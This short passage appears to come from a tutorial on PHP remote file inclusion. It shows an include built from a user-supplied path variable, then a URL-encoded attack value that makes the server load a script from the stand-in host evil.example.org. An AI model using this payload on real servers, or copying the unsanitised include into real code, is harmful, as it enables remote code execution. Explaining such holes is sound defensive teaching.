Another example.

<?php

include "$path/script.php";

?> 
path=http%3A%2F%2Fevil.example.org%2F%3F

<?php

include
'http://evil.example.org/?/script.php';

?>